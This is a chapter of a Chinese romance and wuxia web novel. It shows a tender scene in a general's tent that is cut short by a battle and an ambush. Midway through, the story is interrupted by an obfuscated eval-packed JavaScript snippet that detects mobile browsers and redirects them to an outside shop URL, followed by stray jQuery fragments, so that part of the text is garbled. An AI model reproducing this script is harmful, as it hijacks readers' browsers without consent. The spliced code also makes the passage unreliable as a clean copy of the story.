89. 疼吗

作品:《开国皇后的秘密

    “云念姐姐这何止是为大义?是爱人如骨。幸运的是,你舍已为他,一切皆值得。商庄主苦等你多年,还为此创出、相思子。现如今你们形影不离,恩爱如初,是多少人求之不能的幸福。”


    当提起相思子,南荣云念不经一笑,夏语心也不由得笑了笑,略显羞涩。


    商甲在众人面前都能毫无遮掩道出温孤长羿中相思子之事,想必私下定早已同南荣云念说过。


    南荣云念轻轻掩面遮住笑容,不再取笑她,神色低落,道:“但身为女子,不能从一而终,执身如玉,亦是亏欠。”


    “这如何能叫亏欠?女子在这乱世,多有身不由已。”夏语心振振有词安抚。


    南荣云念颦笑,“你这般通透淡然,可知温孤城主对你的心意?”


    “姐姐。”


    见着南荣云念将话题引回自己身上,夏语心抬开屁股,假装生气坐去另一侧,“现下妹妹在跟姐姐说及你与商庄主的爱情,姐姐不说便罢了,倒还会转移话题。”


    南荣云念掩面一笑,“你瞧,我们坐的可是温孤城主的军帐,岂能不谈一谈你与城主之事?”


    夏语心微怔,这才打量起帐中陈设,很是简陋,乍一看分不出是谁的帐营。


    可目光透过屏风,夏语心见着地榻前的大长靴,还有折叠好的雪狐裘。


    那雪狐裘洁白如云,正是此前在望峰上醒来时,温孤长羿披在身上的那件。


    果真是温孤长羿的营帐。


    夏语心嗔怪:“姐姐是故意引我进来。”


    “妹妹可冤枉了我。”南荣云念手中玉绢掩面轻笑,“你瞧,我也是刚刚看出这是温孤城主的营帐。”


    夏语心歪过头,顺着南荣云念所坐的位置看去,屏风后的将军椅前正陈放着归虚剑。


    南荣云念:“来时路上,我听商甲说起过城主的配剑,不虚他的青戈。就在先前见着那把剑,至尊至贵,当属百兵之君,我才断定这是城主营帐。”


    “……”


    趁温孤长羿还未回来,夏语心灵机一转,想着先离开为好,道:“云念姐姐,你来了许久,我、我去给你端盏茶水来。”


    抹过身,夏语心刚走出屏风,温孤长羿却掀开帐笼走进来。


    南荣云念不由掩面窃笑,起身拂礼,倒先离开了。


    “哎,云念姐姐,我们还有好多话没有说完呢,你等等我。”夏语心追着走上去。


    温孤长羿指尖轻轻绕进她手心,随着南荣云念掀起的帐笼落下,温孤长羿扣紧她,轻轻一拉,便将她带进怀里,浑浊的气息带着酒香,思之念之梦之,心下如浪潮翻涌,温孤长羿激烈地拥住她。


    她千里送粮草来,亦把自己送到他眼前,帐前一见,温孤长羿心潮便难已,早抑之不住。


    可那一刻,众人皆在。温孤长羿故作不忙,与众人同饮,三巡酒过,心潮更加激荡,急不可待进来,滚动的喉结发出着呢喃之音:“棠溪,抱紧我,吻我。”


    他捧住她的脸,动作温柔得像?春日里微风轻拂面颊?,细腻而珍视。


    可帐外巡逻侍卫不断走动,还有,万一突然有人闯进来……夏语心松了松温孤长羿双臂,突然想到,一下粗鲁地扒开他衣襟,看他有无毒发,抑或身上有无添新伤。


    新伤倒是没有,旧时的伤痕在衣梢边隐隐可见。


    但她这般忽地扒拉衣裳,着实惊着了温孤长羿。


    温孤长羿微愣,然后拿住她的手,一点一点抚过那些旧伤疤,继续要求,“吻我。”


    像他一样,手指带着她的手指抚拭那些伤痕,眸光深情舔舐。


    夏语心杏眸微转,错开温孤长羿眸光,赶紧拢好温孤长羿身上衣衫,“天冷……没有伤就好,城主赶紧穿好。”


    既然都脱了,岂能由她随便穿上?


    宽大的掌心一瞬裹住她娇小的手掌,十指交扣,温孤长羿俯身吻上来,接着手臂轻轻一颠,将她放平在榻上,退去鞋履,然后退足衣。


    动作持续加深,夏语心怔了怔,“干吗?连赶半月山路……”


    虽没有脚气,但多少有那么一丢丢味道。


    夏语心急忙将脚往回缩。


    温孤长羿捉住她,“我又不嫌弃。”


    以为他又要像上回一样、吻,夏语心惊得瞳孔微张,却见温孤长羿只是检查自己的脚,看有无走脚、扭伤。


    夏语心这才松了口气,由着温孤长羿检查。不由着他也无法,双脚都被他捉在手里。并由着温孤长羿把她足底磨出的水泡用荆棘挑破,然后处理好。


    “疼吗?”


    温孤长羿轻轻吹抚着挑过水泡的地方。


    倒是不怎么疼,就是有些痒。


    夏语心摇头,看着温孤长羿,过了片刻,“臭吗?”


    温孤长羿抿笑,他不嫌弃,但她自己会不自在。温孤长羿转身便去打了洗脚水进来。


    顿时帐外便传进来窃语声:


    “城主给夫人洗脚了。”


    “我看见城主打水进去了。”


    “是洗脚吗?”


    ……


    不是洗脚是干吗?夏语心提着鞋子往帐外跑。温孤长羿长臂轻轻回揽,便将她抱回了榻上,先把脚放进热水里,再检查她膝盖的伤,“害羞了?我叫迎喜来为你上药?”


    谁害羞?夏语心泛红着面颊不承认,坐直,“不用……迎喜也累了。”


    主要是此刻,迎喜和采荷见着了别尧相后,比起路途中的劳累,那种见而不得且不可言露的心思才更加叫人累。


    二人的心思,别尧相或许明白,抑或不明白。


    无论明白与否,别尧相大抵心悦的只有采薇。于她二人,应皆为采薇姐妹一般相待,这才叫不思量,难相忘。


    夏语心缓缓沉了口气,“久行伤筋,歇几日便没事了。”


    温孤长羿给她擦干脚,拿来药膏刚要涂抹,帐外却忽地传来战马嘶鸣声。温孤长羿即刻拉过屏风,将她隐于榻后,不慌不乱为她穿好鞋履,旋即披上战甲,迎声而去。


    “温孤长羿。”夏语心叫住他。


    帐外传来士兵重甲踏足声,战事在急。


    夏语心拨开床帘,隔着屏风,“不许受伤。”


    营外号角响,温孤长羿点头,提剑离去。


    数万将士嚯嚯而出,烟尘滚滚。温孤长羿策马冲在阵前,他将周浪留了下来。


    随着大军离去的声音,夏语心走出营帐。另一侧,周浪目送大军离去,落日照着尘烟,染入霞光中,像云像雾,袅袅飘散。


    距昨夜大战,时隔不足三个时辰,梁、吴两军再次发起攻击。


    十万大军倾营而出,周浪脚下轻轻一跃,飞到她身前。见着她已穿整好的鞋履,周浪也知温孤长羿打水为她洗脚,问道:“要我留下,还是去帮他?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036385|189370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他一人敌千军,所向披靡。


    有他在,主场从无败局。只要是他要护的人,皆能护下。


    可他的声音低沉中似乎带着黯然之色,夏语心微微垂下目光。


    采荷迎喜从营外策马飞奔回来。迎喜跃下马背,当即跪在周浪身前,抱拳道:“周庄主,梁国、吴国军队众多,迎喜肯请庄主前去帮帮我家城主。”


    两军交锋,温孤长羿手上兵力虽不足梁、吴两军庞大。但江湖一众高手皆在他帐下。周浪自知晚去片刻也无碍,只要她开口,他死而无憾。


    夏语心交握在袖袍中的手不由紧住。


    见着她片刻迟疑,周浪足以欣慰,不忍她抉择,周浪凌空踏步,转瞬离去。


    “周浪,平安归来。”夏语心不由追出数步。


    得知吴、梁两国军队攻来,也知吴福死于吴泽之手,祁夜欢亦死于吴泽之手。而采薇迎春死于梁军之手。夏语心恨不能亲手屠之,可自己没有这样的本事,无法上阵杀敌。自己都无法做到的事情,大敌当前,生死难料,又怎好开口。


    而大事大非面前,正道凛然,夏语心知道,即便没有她开口,周浪也自有考量,断不会让邺军兵败于此。


    夕阳染红寒冬营帐,温暖、宁静。若无远处传来的号角声,谁人能知这是战场。


    夏语心静静站在帐外,望着天际一阵一阵滚过的硝烟,等捷报。


    迎喜小声嘟哝:“夫人还是偏心。”


    夏语心静静等了许久,才回过头,看了看迎喜,道:“何来偏心?周庄主帮是情分,不帮是本分。何况,周庄主一身狭义情,人已站在你家城主帐中,哪有会不帮的道理?倒是你,遇事须冷静。若我开口,反倒是伤了大家情分。这是战场,你家城主的安危是安危,可他人的安危亦是安危,为顾城主安危这样求人,反倒狭隘了。何况,你家城主武功也不差,要相信他。”


    听罢,迎喜破颜一笑,羞愧地低下头。


    可话虽如此,夏语心仍担忧。论武功,温孤长羿不是最高的那个,也不是最低的那个。但他是军中主帅。战术之法,人人熟谙,擒贼先擒王。


    南荣云念带着方安走来,“棠棠不必忧心,天下三大高手皆在他身后。”


    一个“他”字,说得格外不同寻常。


    夏语心微微嘟嘴,“云念姐姐又拿我打趣。”


    身后,宁野等人去后营更换好战甲,一人手中握着一杆长枪,威风凛凛,奉命留在营中保护家眷。尤其面对迎喜采荷,二人尚未婚配,以博芳心,宁野等人个个神采奕奕,争取想留得个好印象。


    可大敌当前,竟还有这般心思?


    采荷浑身是气,眼不见为净,转身进帐,一柄明晃晃的长剑从帐中伸出,直直抵住她。


    “吴泽?”夏语心鄂然。


    辨别出来人,迎喜新仇旧恨一起算,挑剑挡上前,“吴贼,拿命来。”


    夏语心即刻拉迎喜,退后,喊团团。


    团团从幄帐后猛地冲出,扬起前掌腾空扑向吴泽。南荣云念接着发出信号箭。


    夜空硝烟划过,瞬间映明。团团却扑了个空。


    上回阴山大战,吴泽见过这头猛兽,深知其凶性,早有应对之法。


    手中长剑回挡,吴泽卧身一跃,轻松避开,接着长剑反挑,跃过采荷,直取而来,“弟妹,吾弟亲王甚是念你,不去陪陪他吗?”